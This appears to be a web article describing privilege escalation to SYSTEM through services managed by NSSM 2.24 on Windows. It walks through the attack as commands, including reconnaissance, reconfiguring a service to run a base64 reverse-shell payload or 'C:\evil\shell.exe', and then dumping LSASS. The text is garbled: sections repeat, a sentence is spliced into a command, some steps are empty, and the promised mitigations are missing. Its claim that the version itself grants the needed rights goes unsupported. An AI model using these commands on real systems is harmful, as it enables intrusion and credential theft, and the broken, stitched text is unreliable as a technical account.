An authenticated, low-privileged user can achieve full SYSTEM privileges on the affected host. This compromises integrity, confidentiality, and availability.
NSSM (Non-Sucking Service Manager) has long been a staple for system administrators and developers on the Windows platform. Versions like 2.24, released in the mid-2010s, are celebrated for their ability to turn any executable into a Windows service quickly. However, beneath its utilitarian veneer lies a dangerous attack vector: privilege escalation.
This article explores how NSSM 2.24 can be weaponized by a malicious actor with low-privileged access to elevate their rights to SYSTEM level. We will dissect the technical mechanisms, walk through a proof-of-concept, and provide actionable mitigation strategies for organizations still relying on this legacy version.
NSSM is a popular open-source utility that wraps any executable (e.g., a batch script, Python app, or Node.js server) into a Windows service. It’s widely used in development environments, CI/CD runners, and even production systems.
Assume an attacker has gained initial access to a Windows 10 or Windows Server 2016 machine as a low-privileged user (e.g., via a phishing email or a vulnerable web app).
Step 1: Reconnaissance
The attacker runs:
where nssm
Or checks installed versions:
nssm version
If the output says 2.24, the system is vulnerable.
Step 2: Enumerate Existing NSSM Services
wmic service where "pathname like '%nssm%'" get name, pathname
Or check the registry directly:
reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "ImagePath" | findstr /i "nssm"
Step 3: Modify an Existing Service (Sneaky Method)
If a service named LegacyApp exists and is managed by NSSM 2.24, the attacker can simply modify its parameters without needing admin rights (due to the broken ACL or design flaw in that version):
nssm set LegacyApp AppParameters "C:\Windows\System32\cmd.exe /c powershell -enc <base64 reverse shell>"
Step 4: Trigger Execution
Step 5: Post-Exploitation
The payload runs as SYSTEM. The attacker now has a high-integrity shell, can dump LSASS for credentials, move laterally, or disable security tools. nssm-2.24 privilege escalation
An attacker with low-privileged access (e.g., a standard user on a compromised workstation or via a reverse shell) first enumerates all services:
sc query state= all | findstr "SERVICE_NAME"
They then check for NSSM-managed services by looking for display names or descriptions containing "NSSM" or by inspecting the binary path:
sc qc <service_name>
If the BINARY_PATH_NAME points to an NSSM executable (e.g., C:\nssm-2.24\win32\nssm.exe), the service is a candidate.
Assumptions:
Steps to escalate:
# As standard user bob sc qc vuln_svc :: Output shows SERVICE_CHANGE_CONFIG permission present.
sc config vuln_svc binPath= "C:\evil\shell.exe" sc stop vuln_svc sc start vuln_svcNSSM (Non-Sucking Service Manager) has long been a
shell.exe runs as SYSTEM.
Warning: The following is for authorized security testing only.
A simple PoC to demonstrate the flaw (assuming you have nssm 2.24.exe in the current directory and a standard user account):
# Copy the vulnerable binary to a writable location
copy "%ProgramFiles%\NSSM\nssm-2.24.exe" .\nssm.exe
In multi-tenant environments (VDI, Citrix, shared kiosks), a low-privilege user who finds NSSM 2.24 installed on the base image can escalate to SYSTEM and escape their session container.